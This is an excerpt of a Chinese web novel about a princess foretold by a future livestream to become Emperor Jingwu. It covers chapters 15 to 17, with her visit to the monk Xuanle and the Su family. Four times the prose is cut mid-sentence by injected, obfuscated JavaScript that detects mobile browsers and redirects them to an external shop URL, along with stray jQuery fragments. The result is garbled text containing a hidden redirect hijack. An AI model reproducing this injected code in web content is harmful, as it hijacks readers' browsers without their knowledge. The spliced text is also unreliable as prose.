“三柒我个人认为,虽然陆安民宰相确实本身就颇具才能,但他人生里最大的幸运,还是遇到了靖武帝这么一位胸怀开阔的明君圣主。” “如果有了解陆安民宰相生平的人,应该就知道,陆安民宰相在科举不同阶段的考试中,他只有在最后一场殿试才得了头名状元,其余的几场考试则全都是成绩平平无奇。” “而他之所以会面临这样的结果,正是因为他父亲陆少衡宰相曾经参加过殷文领导的那场起兵造反。” “在当时的古代,造反可是最致命的雷区,轻易就会触动到君王脑中最敏感的那根神经。” “那个时期的科举考试还没有采用糊名制度,所以从考官们没有直接将陆安民宰相给黜落这一点上,其实就已经很能看出陆安民宰相的才华了。” “等到最后殿试时,负责阅卷的几个大臣们,原本也和前面的其他考官那样,打算将陆安民宰相这颗不定时炸弹放到三甲中后排的位置。” “如果是按照从前的惯例,靖武帝其实只需要翻看由阅卷大臣们推选出来的前十份考卷,从里面决定出一甲前三名和二甲前排的考生就行。” “但是,靖武帝从来不是那种觉得‘多一事不如少一事’的人,她很清楚科举对于考生和朝廷有多重要,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506901|202241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以自打登基以后,无论工作有多忙碌,靖武帝都会坚持翻阅完每一份殿试的答卷。” “于是,靖武帝很快就在殿试的一众试卷中,发现了陆安民宰相这么一颗蒙尘明珠!” “起初,看到陆安民宰相的答卷时,靖武帝无比暴怒。” “她觉得其他几位阅卷大臣是尸位素餐,甚至可能是被人收买了,所以这才故意打压陆安民宰相这么一位天纵之才。” “但等从阅卷大臣们口中得知这背后真正的原因后,靖武帝却是突然放声大笑,说既然陆安民敢来参加科举考试,那朝堂自然就该有任贤用能的肚量!” “于是,靖武帝直接就将原本人人都唯恐避之不及的陆安民宰相,钦点为了那届考生中的一甲状元!” 天幕下,尽管陆安民还尚未知道靖武帝究竟是谁,可此刻听着柳三柒在天幕上的介绍,他还是不由感到一阵心潮澎湃。 报君黄金台上意,提携玉龙为君死。* 陆安民从前在书上读到这句话时,其实无法理解这么厚重又激烈的情感。 可如今,他却是深深的觉得感同身受。 而皇宫中,听到陆安民差点与状元失之交臂的这个过程,已经被人从地上搀扶起来的陆少衡,心中却是不由替儿子感到一阵欣喜。 事实上,在刚才得知陆济世被害的真相时,他心中感到最对不住的人,其实是小儿子陆安民。 陆少衡觉得,都是因为自己这个父亲昏庸愚昧,这才害得陆安民也上了殷文的当。 所以,得知历史上的陆安民依然受到了靖武帝的欣赏和重用,这自然是让深知自己儿子才华的陆少衡,心中感到无比的宽慰和庆幸。 此刻,陆少衡心中甚至产生了一阵强烈预感。 他觉得即使有天幕提前预知的影响,靖武帝未来也依然会成为一位远比靖明帝还优秀和合格的帝王。 早已对靖明帝彻底失望的陆少衡,此刻心中甚至隐隐感到期待,希望自己能够在有生之年,体验下给靖武帝当臣子是什么样一种感受。 老骥伏枥,志在千里。* 陆少衡知道自己心中还有许多的远大抱负尚未实现。 原先,他已经对那些抱负不抱希望,选择了对现实妥协,可如今靖武帝的出现,却是让他胸膛里本来已经快熄灭沉寂的那团火,重新死灰复燃了起来。 15. 第 15 章 BY:晋江·丸二缘 天幕上,柳三柒语气充满骄傲地说道: “同志们,不是三柒我对靖武帝有粉丝滤镜,但无论是和手段无所不用其极的殷文相比,还是和殷睿这个靖厉帝相比,咱们靖武帝大大的人品和才能,那都是吊打他们两个上万倍!” “我甚至觉得,我拿靖武帝和他们这俩人相提并论,那都是严重侮辱了咱们的靖武帝!” “咱们的靖武帝多厉害呀,她当初登基继位时,接手的那一大摊子事简直就是烂到没眼看,外有敌寇袭扰,内有叛乱不断!” “靖明帝真是该庆幸他还有靖武帝这么一个娃,不然老殷家的江山,真就是保不住了!” “靖武帝之所以经常在网上被人评价为史上最牛皇帝,就是因为她在这国祚将倾的危亡时刻,力挽狂澜,回天转日,甚至创造出了靖武盛世!” 天幕上,柳三柒直播时,直播间并不会实时显示她说话的字幕。 所以,靖明帝在听到柳三柒说靖武帝确实是自己的血脉后,他心中先是大喜,随后就急忙在心中盘算起了自己另外几个儿子,想知道到底谁才是柳三柒口中的靖武帝。 而和此刻心情格外愉悦的靖武帝不同,天牢里的殷睿,却是彻底崩溃和破防了。 原先,他还一直信誓旦旦地认为,觉得靖武帝就是他四个儿子之中的其中一个。 虽然靖武帝在历史上杀了他,但殷睿却是想着,他如今又不可能再和他儿子争皇位,那他儿子说不定之后愿意放他这个爹一线生机。 而且,在殷睿看来,这皇位既然是由他儿子来继承,那就相当于肉还是烂在自家锅里。 可如今,柳三柒的话,却是摧毁了他心中一直以来的认知。 殷睿完全无法接受,自己的皇位,到头来竟然是被他其他几个兄弟给抢走了?! 现代网友尚且时不时调侃说“既怕兄弟过的苦,又怕兄弟开路虎”,从这其实就可以看出人性的幽微复杂。 更别提殷睿向来是把自己其他的兄弟都视作眼中钉,恨不能将他们一个个都给除之而后快。 殷睿此刻很清楚地知道,自己的最后一线生机彻底破灭了。 于是,破罐子破摔的他,气得直接在天牢里用尽各种恶毒语言问候其他另外几个皇子,恨不能自己可以用言语就直接诅咒死他们。 而还没被打完五十大板的殷文,在听到柳三柒承认说靖武帝是靖明帝的孩子以后,他心中也同样感到极其不甘。 殷文不认为其他另外几个皇子,有谁能够比得过他。 殷文甚至打心底里坚信,觉得如果历史上的他能够造反成功,顺利从靖明帝手中抢得皇位的话,那他执政期间立下的丰功伟业,绝对不会比靖武帝差到哪里去。 殷文觉得,自己只是比靖武帝缺少一个能够证明能力的机会。 他甚至认为,老天爷对他实在是太不公平了。 天幕的突然现世,彻底堵死了他的出路。 接下来,靖武帝肯定会成为大靖朝板上钉钉的下一任帝皇。 殷文光是想到靖武帝甚至能够比历史上还更加顺利地登基,他就已经愤恨到忍不住咬牙切齿,只恨自己不能以身代之。 无论是殷睿,还是殷文,他们在此刻的想法都很一致,那就是无法接受现实,但又对现实无可奈何,所以只能无能狂怒。 当看到天幕上那些极致夸赞靖武帝的弹幕内容时,他们兄弟二人更是气得恨不能直接一拳砸碎天幕,让天幕彻底消失在他们眼前。 【我要是靖明帝,我高低都得给靖武帝磕几个响头!他挑选的接班人,差点就敲响了大靖朝的丧钟!】 【磕几个响头哪够啊?我看他应该改口,管靖武帝叫祖宗才对!大靖朝当时距离亡国,简直就是指日可待了!如果不是靖武帝后面突然从天而降,那大靖朝的历史到靖厉帝那里就可以画上句号了!】 【我初中学历史时,最喜欢的就是靖武帝相关的事迹了,感觉学得我热血沸腾、斗志昂扬,恨不能自己也和她一样干出一番利国利民的大事业】 【哈哈哈哈,我很理解你这感受,因为我和我同学以前也这样,学靖武帝相关事迹时,学得最是积极,忍不住就会生出一番雄心壮志来!】 【笑死,我早就发现了,每年我教靖武帝的内容时,连教室最后面那两排的学生,都能高抬贵眼瞅我几下】 【靖武帝魅力真的超强,我当年出国留学时,带我的那个大胡子导师甚至就是靖武帝的死忠狂粉!他对大靖朝的历史,了解得比我还要更仔细! 而且说个好笑的事情,我们组当时都是各国的留学生,但他似乎是因为靖武帝的缘故,所以对我特别的照顾,甚至还会邀请我在假期时去和他全家一起野营烧烤!我后面毕业回国后,还从国内给他寄了些靖武帝的周边,结果他竟然回了我一封超长的感谢邮件,说我是他这辈子最难忘的学生】 【哈哈哈哈哈哈,我留学时也碰到过类似的事情,我们宿舍楼那个舍管阿姨,就超爱看国内拍的靖武帝电视剧,甚至还问过我能不能帮忙找资源】 【我已经在国外生活二十多年了,靖武帝在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506902|202241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国外真的人气超高,老外他们都觉得靖武帝是个霸气侧漏的传奇帝王,而且其历史功绩对今天依然影响深远】 …… 弹幕里讨论的内容很丰富,但坤宁宫中的许皇后,此刻注意力却是完全放在了那个“她”字上面。 刚才在天幕上闪过的众多弹幕中,其中有一条弹幕在提及靖武帝时,用到了“她”这个字。 绝大多数看到那条弹幕的大靖人,都以为这是后人笔误,这才将“他”字误用成了“她”字。 如果在今天之前,许皇后看到这个情况,肯定也不会多想。 但如今,得知靖武帝的真实身份可能就是殷宁后,许皇后就忍不住为这条弹幕而感到心情激动。 特别是,看到弹幕中那些后世子孙对殷宁赞美的言论后,她更是忍不住为殷宁感到骄傲和自豪,觉得自己这个母后也与有荣焉。 她很是感慨地看向殷宁和施清媛道:“难怪玄乐大师之前会跟我说‘柳暗花明又一村’,我当时还以为他是在安慰我,根本没放在心上,没想到竟然是应验在了这里。” 许皇后口中提到的玄乐大师,是大靖著名的高僧,据传有掐算天机之能。 之前在殷霖这个太子骤然病亡时,许皇后在宫中为殷霖举办过一场超度法会,当时甚至还特意将玄乐这位德高望重的佛教名僧也请进了宫中。 玄乐那会儿和许皇后说话时,殷宁就站在许皇后的身边,所以她自然也还清晰记得许皇后说的这事。 她轻轻挑了下眉头,脑中这时不禁也回想起,玄乐之前几次碰到她时,脸上挂着的那抹神秘淡笑。 殷宁之前一直觉得他这老和尚是在借此搞神秘,故弄玄虚,但现在再重新回想,却发现玄乐似乎还真的有两把刷子。 山重水复疑无路,柳暗花明又一村。* 这确实是很吻合她母后这段时间的心态变化。 因为,当初在得知她那便宜大哥的死讯时,她母后整个人就感觉像是天都塌了一样绝望。 而天幕始料未及的突然出现,确实又让她母后重新振奋了起来。 不过,虽然得知玄乐不是什么老神棍,但殷宁也并没有打算去找他。 因为,殷宁向来都不信认命那一套。 所谓的“万般皆是命,半点不由人”,这在殷宁看来就是一句屁话。* 殷宁更相信“命由我作,福自己求”,所以,就算玄乐真的精通命理,殷宁也并没有那么在意。* 然而,虽然殷宁没打算去找玄乐,但在两天后,她却是偏偏又碰到了玄乐。 16. 第 16 章 BY:晋江·丸二缘 柳三柒结束直播后的第三天,正好是殷宁外祖父许野贤的75岁生日。 因为许皇后不方便随意出宫,殷宁为了帮母后尽孝,就特意一早出了宫,去到许府陪老人家一起庆生。 许家世代都是书香人家,等到许野贤这一代时,他虽然从未出仕,但却是远近闻名的大儒,曾经多次拒绝朝廷的征召。 他早年和友人一起创办的顺安书院,因为招生不拘寒门贵胄,唯重才情高低,如今在大靖更是有“天下第一书院”的美誉。 靖明帝当年之所以会选许皇后为太子妃,正是因为看中了许野贤的声誉,觉得他门生故吏遍布朝野,而许皇后又是许野贤膝下独女。 靖明帝那个时候,既希望能够提高自己在士大夫中的声望,但又担心会遭到来自他父皇也就是先皇靖简帝的忌惮,于是许皇后就成了他太子妃的最佳选择。 许野贤如今是自己一个人居住,殷宁的外婆四年前在一场睡梦中安详离世,无疾而终。 许野贤的生活很是清贫朴实,所以殷宁每次来他这边,都是拎着大包小包,这一次自然更是不例外。 许野贤虽然并不贪图享乐,但他也知道殷宁带来的这些东西都是她和女儿许灿君特意准备的一番心意,所以每次都是笑呵呵地收下,并不会扫殷宁和女儿的兴。 许野贤虽然如今已经是高龄七十五,但身子骨却还很是硬朗,腿脚走路非常稳当。 他怕殷宁难得出宫一趟,待在他这边会感到无聊,便主动朝殷宁提议,说护国寺最近的梅花开得正盛,问殷宁想不想去护国寺那边走走逛逛。 殷宁以为许野贤是想出门赏梅,自然是立刻就欢快地应下了他的这个提议。 护国寺距离许野贤的住处并不远,走路只需要几分钟的路程。 今天又是岁末腊月里难得的好天气,阳光微暖,殷宁就直接和许野贤一起走了过去。 许野贤虽说是名震天下的大儒,但和这周边的普通老百姓们,却是关系处得很熟络。 从家里走到护国寺的一路上,殷宁时不时就看到有路过的行人和许野贤打招呼,甚至还有不知道她身份的老人,笑着过来和她拉家常,说她长得真好看,眉眼很像她外婆。 殷宁很喜欢这种平凡的日常生活,路上一直眉眼弯弯,笑吟吟地和大家一起唠嗑。 许野贤站在殷宁身旁,看到殷宁这善良仁爱的模样后,心中更是忍不住再次咒骂起靖明帝来。 虽说这些年一直有人羡慕许野贤能成为国丈,但靖明帝当初想要求取许灿君时,许野贤心中其实是强烈反对这事。 如果不是因为靖明帝先斩后奏,直接让先帝赐婚下来,许野贤根本就不可能答应让女儿嫁进皇家。 最是无情帝王家,外人看着皇室好似光鲜亮丽、奢华尊贵,但实际里面却充满着各种尔虞我诈、身不由己。 特别是太子殷霖前阵子的骤然身亡,更是让许野贤心中感到极其不安甚至惶恐,同时也再次恨极了靖明帝,觉得都是靖明帝害得他家人被拖进权力的漩涡之中。 不过,虽然心中对靖明帝极其不满,但面对殷宁,许野贤却是没有流露出半点真实情绪。 这并不是因为他怕了靖明帝,毕竟他当年在靖明帝带着圣旨来家中赐婚时,就直接指着靖明帝的鼻子痛骂了一通。 许野贤更多是不希望自己让殷宁感到为难,毕竟子不言父过,靖明帝终究是殷宁的父亲。 而他这个外公如今又已经年迈到须眉皆白,殷宁以后终究还是需要靖明帝这个父亲来照拂。 殷宁并不知道外表看起来眉开眼笑的许野贤,刚才心中还想了那么多的事情。 她很快就和许野贤来到了护国寺的外面。 护国寺是京师香火最旺盛的佛寺,今天也依然热闹非凡。 许野贤没有带着殷宁去前门和香客们凑热闹,而是直接拐了个小道,熟门熟路地从寺庙一处偏僻的小门进入。 他显然和寺庙里的和尚们也很熟悉,有几个活泼的小沙弥甚至还特意跑过来和他打招呼,询问说怎么这阵子没看到他过来。 当得知许野贤今天是带着殷宁过来赏梅后,有个圆头圆脑的小沙弥更是直接笑着表示,说可以带他们去自己的秘密基地,那边的白梅开得格外漂亮,而且也比较少人打扰。 而殷宁和许野贤等人去到以后,也确实是被眼前所见梅林之景给惊艳到了。 红墙映白梅,冷香醉人心。 梵音缭绕的幽静古刹中,绽放在枝头上的素雅白梅,花瓣如玉琢般清丽无瑕,尽显冰姿玉骨之态 忽有轻风拂过,暗香乍泄,袅袅似月,嗅之难忘,直叫人神骨俱清。 而正当殷宁和许野贤沉浸在这片梅林的美景中时,听力极其敏锐的殷宁,突然听到身后传来一阵轻缓的脚步声。 她转过头,朝声音方向望过去,然后就看到了正手持念珠、双眸含笑看着她的玄乐。 许野贤很快也注意到了玄乐这位佛门名僧的到来,他急忙态度敬重地朝玄乐问候了一声。 虽然许野贤如今看起来就是个平易近人的普通老头子,但从他之前多次拒绝朝廷的征召以及对靖明帝不满的态度,其实就不难看出他其实内在是有些桀骜不驯的傲骨。 而许野贤对待玄乐的态度之所以充满敬意,一方面是因为玄乐的岁数比许野贤年长不少,今年已经是百岁高龄。 另一方面,则是因为许野贤知道玄乐确实是有未卜先知的神通。 许野贤当年刚和妻子新婚时,有一次陪妻子来护国寺祈福烧香,正好就碰到了玄乐。 玄乐当时告诉他们夫妻,说他们未来的女儿命格超凡,贵不可言,将来必定是位列坤极。 许野贤当时和妻子都没有将玄乐的话给放在心上,觉得这事根本就不可能,毕竟他们许家无权无势,怎么可能会和皇家扯上关系。 但后面,当许灿君真的成为了太子妃后,许野贤这才明白,原来玄乐当年确实所言不假。 而许野贤今天之所以向殷宁提议来护国寺赏花,除了想让常年待在宫中的殷宁外出散心外,其实也还有想要拜托玄乐再帮忙出手算卦的心思。 不过,还没等许野贤想好怎么开口,殷宁就先嘴角含笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506903|202241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地朝玄乐说道: “玄乐大师,真是巧,居然碰到了您。您该不会是心有所感,提前知道我和外公今天要过来吧?” 殷宁之所以朝玄乐如此调侃,是因为玄乐向来行踪不定,有一种神龙见首不见尾的神秘感。 多年以来,京师甚至流传着一个说法,说玄乐大师只在对的时间,见对的人。 而听到殷宁朝自己抛出的询问,玄乐那慈祥清瘦的面容,则是露出一抹祥和的淡笑: “殿下聪慧非凡,所言确然,贫僧随缘而至,察觉此处有客困于歧路,故而不请自来。” 殷宁原本只是想要打趣玄乐,但听到玄乐这肯定的回答后,她不由感兴趣地轻挑了下眉头。 “玄乐师父,您是不是找错人了呀?许老先生他们并没有迷路啊?我刚才一直在这里给他们指路呢!”小沙弥一脸不解地看向玄乐说道。 玄乐闻言,笑着抬手摸了摸小沙弥圆溜溜的脑袋,嗓音和蔼地开口道: “此世间,有脚下可视之径,亦有隐而不显之道。” 还没等小沙弥理解明白玄乐口中说的话,许野贤这时突然开了口: “大师的确料事如神,老夫心中确有一重若千钧之事,今欲向大师叩问,盼大师赐我一解困之答!” 许野贤说罢后,还双手合十,朝玄乐行了个佛礼。 殷宁和小沙弥闻言,瞬间都目光不解和疑惑地看向许野贤。 玄乐没有立刻回答许野贤的话,他朝小沙弥轻轻挥了挥手:“兹事体大,非稚童可耳闻,汝尚年幼,且自去玩耍。” 小沙弥听到玄乐这话后,没有不懂事的胡闹,而是很自觉地就乖巧离开了。 殷宁见状,也给了她身边跟着的白菊一个眼神,让白菊带着随行的其他人都暂且避让。 很快,清雅的梅花林中,就只剩下了殷宁、许野贤以及玄乐他们三人。 殷宁好奇地看向许野贤,想知道到底是什么事情,能够惹得她外公如此烦心。 但随后,许野贤说出的话,却是让她心中感到极其意外和触动。 许野贤目光诚恳地看着玄乐,他语气郑重地开口道: “料想大师亦明,女子一生,所重者莫若婚姻。老夫近日每念及殿下婚事,常悬其心,深忧其下嫁宿家之后,琴瑟不调,朝暮伤神,难得欢颜。望大师如实告知,老夫心中忧思,最终会作何光景?” 许野贤口中的婚事,是三个月前,靖明帝替殷宁作出的安排。 他替殷宁选中的驸马,是如今还依然镇守在西北边疆的宿昱。 宿昱是大将军宿雷的大儿子,宿家世代从军,在军中威望颇高,如今甚至已经隐隐有功高震主的风险。 许野贤知道靖明帝之所以将殷宁下嫁到宿家,一方面是想笼络宿家,另一方面也是想增强皇室对宿家的控制。 而靖明帝当初在赐婚殷宁和宿昱之前,甚至也没有提前和宿家商量过,而是直接一封圣旨送到西北边疆。 所以,自从得知殷宁要下嫁给宿昱的消息后,许野贤心中就一直惴惴不安,担心宿家会因为这桩婚事而给殷宁难受。 17. 第 17 章 BY:晋江·丸二缘 殷宁今天在见到外公以后,并没有将自己可能是靖武帝的事情告知给许野贤知道。 她很了解许野贤不慕名利的性格,而且也觉得这事目前还并没有最终确定,没必要现在就急忙告诉给许野贤知道。 不过,她没想到的是,她和宿昱的婚事竟然会让许野贤如此忧心。 “外公,你真的不用这么担心我的婚事,就算我和宿昱之后没感情,我也绝对不会让他欺负到我头上来!” 殷宁目前并没有打算改变自己和宿昱的婚事,因为无论她是不是靖武帝,她都需要宿家手中握着的兵权。 而且,在她看来,宿昱确实是最适合她的结婚对象。 和对宿家心有忌惮的靖明帝不同,殷宁根据自己过去和宿家人接触的经验来看,她并不觉得宿家像是那种拥有狼子野心的武将。 宿家人身上的狠劲儿,似乎全都用在了打仗这件事上。 就算是宿家性格最孤傲不羁的宿昱,也不过是个一心只想金戈铁马、驰骋沙场的武疯子。 殷宁觉得以宿昱那死心眼的性格,就算是再来十个宿昱,自己也完全能对付得过来。 但许野贤听到殷宁这般回答后,脸上不仅没有露出半点喜色,甚至反而是更加忧心了起来。 许野贤和妻子孔秋娴这一生的感情极其恩爱和睦,俩人相濡以沫了一辈子,从少年夫妻走到白头偕老,是真的做到了一生一世一双人。 许野贤正是因为知道幸福的婚姻是什么模样,所以才会更期盼孩子们也能拥有这样美好的生活。 而在女儿许灿君被先皇赐婚给靖明帝之后,许野贤就知道女儿这辈子的婚姻更可能是和“隐忍”这两个字捆绑在了一起。 身为母仪天下的皇后,她的一言一行都必须端庄得体,符合礼法的审判。 许野贤当年无法改变女儿的命运,所以如今更是越发期盼殷宁能够在未来拥有一段舒心的婚姻。 可如今,殷宁都尚未和宿昱成婚,她的言行中,就已经流露出了她对自己和宿昱这桩婚约的冰冷态度。 对于殷宁这个反应,许野贤自然是忍不住对殷宁感到一阵心疼和怜惜。 同时,他更是情不自禁再次在心中狠狠咒骂起靖明帝,觉得靖明帝这个女婿还是他当年认识的那个死样子。 无论是许野贤还是殷宁,他们此刻的神情,自然都落在玄乐的眼中。 看到这对祖孙神色中透露出来的截然不同情绪,玄乐慈蔼的眉眼间,不禁染上了几分笑意。 他目光温和地看向许野贤,朝许野贤宽慰说道:“许施主,毋须忧心,汝适才所虑诸事,决无灵验之理。依贫僧所观,殿下命格贵不可言,且福泽深厚,来日必享人间至尊之福。” 许野贤并不知晓殷宁和靖武帝的关系,所以听到玄乐的回答后,他只以为玄乐是在说殷宁未来婚姻必定幸福美满。 他脸上神情瞬间就放松了许多,嘴角忍不住往上扬起:“多谢大师指点迷津,老夫这下心里可算是安定了不少,惟愿天公作美,皆应大师之吉言!” 玄乐闻言,手捻念珠,微微俯身,笑着朝许野贤回了一句佛号。 殷宁看着玄乐那慈眉善目的模样,心中却也是啧啧称奇,觉得玄乐这位佛门高僧确实是有不少灵异之处。 贵不可言,人间至尊。 假如没有柳三柒在天幕上的剧透,殷宁不会对玄乐的断言产生过多的联想。 但如果她真就是靖武帝的话,那她的命格,确实就和玄乐刚才所说的话完全吻合了。 “大师,我也有个问题想请教您,不知道您是否愿意帮忙指点一二?” 听到殷宁这话,玄乐嘴角露出一抹淡笑:“时来天地皆同力,殿下若怀至真至善之德,则所愿必遂,乾坤万物,莫不助君。” 殷宁:“……大师,我其实刚才都还没想好要问您什么呢!” 看着殷宁有些尴尬的神情,玄乐却是直接爽朗一笑:“无论殿下欲问何事,贫僧唯有此答可相赠。” 玄乐这个回答听起来很像是神棍通用话术,但殷宁看着玄乐那双澄澈宁静的眼睛,心中却突然有种强烈的预感,玄乐所言确实不假。 她双手合十,朝玄乐微微低头行了个佛礼:“多谢大师替我解惑,抱歉我刚才的行为有些鲁莽,唐突了大师。” “殿下毋须介怀,贫僧并未觉得殿下言行有何过失之处。殿下视方才之举为鲁莽,但贫僧则更愿意称其为率性坦荡。”玄乐眉眼含笑,说道,“比起和那些巧伪趋利之徒周旋,贫僧倒是更愿意与殿下这般磊落赤诚之人相交。” 许野贤站在一旁,听着玄乐和殷宁的对话,他心中只觉格外宽怀,因为玄乐关于殷宁的谶言听上去都是大吉之兆。 而正当许野贤打算开口时,殷宁和玄乐却都突然转头看向身后的梅林。 许野贤感到不解,也跟着顺势抬头看去,然后立刻就注意到了宿家叔侄的身影。 许野贤倒是没想到他刚刚才提及宿家,结果竟然这么快就碰到了宿家的人。 宿峥今年42岁,相貌看起来斯文儒雅,半点都不像是武将的模样,但每个人看到他的第一眼,最先注意到的,不会是他的样貌,而是他那空荡荡的右手袖子。 宿峥的右手在10年前的一场战役中,为杀出敌军重围,而不幸被敌人给砍断。 在那之后,宿峥就带着宿昱和宿桉这两个侄子回了京师。 4年前,宿昱过完15岁生辰后,就被他父亲宿雷喊到西北边疆上战场。 如今,宿家在京师,就只剩下宿峥以及宿桉这个年仅12岁的少年。 宿峥也没料到,自己今日带宿桉来给边疆战士祈福,结果竟然会在护国寺这边碰到殷宁和许野贤。 他带着宿桉走到殷宁等人的面前,笑着朝大家问候了一声。 许野贤对于宿昱这个未来孙婿虽然很是不满,但对于世代保家卫国的宿家人,却是心中充满尊敬。 所以,他虽然神色冷淡,但还是朝宿峥客气地点了点头。 而殷宁对宿峥的态度,则明显比许野贤热络了许多。 她一看到宿峥,脸上就都已经不禁流露出了笑意。 等到宿峥朝大家打过招呼后,她更是立刻朝宿峥开口道:“宿老师,真是好久不见了,你最近怎么样,还好吗?” 殷宁当年在宿峥回京后,得知宿峥在战场上竟然有冠玉修罗这样的称呼,就忍不住央求靖明帝,让他在召见宿峥时,也允许自己在一边旁听。 殷宁想看看宿峥是什么样一个人。 而靖明帝在这些小事上,向来很是纵着殷宁这个小女儿,便答应了殷宁的这个想法。 殷宁之所以称呼宿峥为老师,也正是因为她在这次和宿峥见面的过程中,拜了宿峥为武学师父。 宿峥当时因伤回京,正是心灰意冷的时候,觉得自己往后的人生一眼就能看到头。 所以,殷宁当时对他这个老师表现出来的崇拜和期待态度,其实给了他一个很大的支撑,让他觉得自己这个人还是有可用之处。 而在那之后,宿峥每周就都会进宫一次,给年纪幼小的殷宁传授武学功夫。 直到3年前,许皇后觉得殷宁已经15岁了,她担心殷宁的名声会受影响,这才叫停了宿峥进宫教授武艺的事情。 不过,因着和宿峥有长达7年的师徒情谊,所以就算宿峥如今不再定期进宫,但殷宁对宿峥这个老师的态度也依然很是亲近。 宿峥原本看到殷宁时,心中还有些不好意思,但看到殷宁依然热切地关心着自己的身体状况,他心中不由微松了一口气。 他眉眼放松地看向殷宁,语气温和地说道:“多谢殿下关心,微臣身体康健,一切如常。” “那就好!”殷宁笑着说道,随即,她又看向乖乖站在宿峥身边的宿桉,“大半年没见,你小子真是长高不少了呀!” 殷宁和宿桉的关系也不错,毕竟别看宿桉现在看起来快一米八的大个子,但他几年前还是个小豆丁的时候,每次看到殷宁,就很喜欢姐姐长姐姐短地追着殷宁跑。 而在听到殷宁夸自己长高的话语后,宿桉稚气未脱的面容上,忍不住勾起了一抹羞涩但高兴的笑: “我小叔说,我现在长得比我哥……” 提到宿昱,宿桉像是骤然意识到自己失言,突然尴尬地安静了下来。 而他之所以会如此反应,是因为他哥宿昱在收到靖明帝赐婚的圣旨后,除了给靖明帝上表谢恩,表示自己会尽忠职守、以报君恩外,就再没有其他向殷宁示好的动作。 殷宁不在意这件事,毕竟她本来就对宿昱没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506904|202241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有多余的期待。 但宿桉、宿峥以及许野贤,却都将宿昱对殷宁的这个态度看在眼中,并且觉得殷宁这是被宿昱给亏待了。 所以,许野贤这才会担心殷宁婚事不顺,同时也对宿昱大为不满。 宿桉和宿峥在刚才看到殷宁时,心中则是对殷宁感到不好意思,觉得有些不知道该怎么面对殷宁。 “哎呀,你不就是想说你比你哥那时候高吗?这有什么不好说出口的?” 殷宁出声接住了宿桉未说完的话。 她笑着看向宿桉,说道,“你哥他人远在西北呢,你还害怕他听到这话啊?再说了,你也没说假话啊,我记得他在你这个年纪的时候,确实是没你高!” 殷宁小时候跟着宿峥学武时,有时会跟着宿峥一起出宫,跑去宿府玩。 而无论是宿昱,还是宿桉,他们俩人的功夫都是跟着宿峥这个小叔学的。 所以,殷宁甚至还和宿昱因为谁是师姐谁是师兄这事起过争执,最终谁都不服气谁。 而宿桉看到殷宁在自己提起哥哥宿昱以后,说话神态和语气似乎都不像是在生气的样子,他心中这才微松了一口气。 他也觉得他哥这样对殷宁的态度很不对,所以在他小叔宿峥前阵子写信去边疆时,他也跟着给他哥写了一封信,并在信中狠狠指责了他哥一通,说他哥就算对婚事不满,也不该迁怒到殷宁这个无辜者的头上。 不过,宿桉目前还没收到他哥的回信,他也不确定他哥是否会听他的劝。 事实上,殷宁随后也并没有花太多的注意力在宿昱身上。 因为难得能碰到宿峥这个许久未见的老师,她自然是更希望能和宿峥聊一些让彼此都开心的事。 而在和宿峥、宿桉他们叔侄分别以后,殷宁自然就不可能还去惦记宿昱这个冰坨子。 不过,虽然殷宁不在意,但却是有人比她还更关注她和宿昱的婚事情况。 打从大靖开国起,历代皇帝都会在每年的腊月二十八,也就是俗称小除夕这一天,在宫中举办盛大宴会,宴请文武百官以及一众皇室成员,今年自然也不例外。 因为许皇后是和靖明帝在最后才一起进场,殷宁身为公主,自然不可能等到那时候才出现。 不过,就在殷宁带着贴身侍女打算进入殿内时,她却正好在门口碰见了六公主殷丹。 殷宁向来和殷丹这个六姐不对付,这是宫中人人都知道的事情。 所以,就算是看到殷丹,殷宁也依然当作没看到,径直就要从她身边走过。 “3、2、1……” 殷宁刚在心中倒数了三秒,下一瞬,她果然就听到了殷丹尖锐的声音在身后响起: “八妹,这可真是遗憾啊,往后咱们姐妹,那真是见一次就少一次了!” 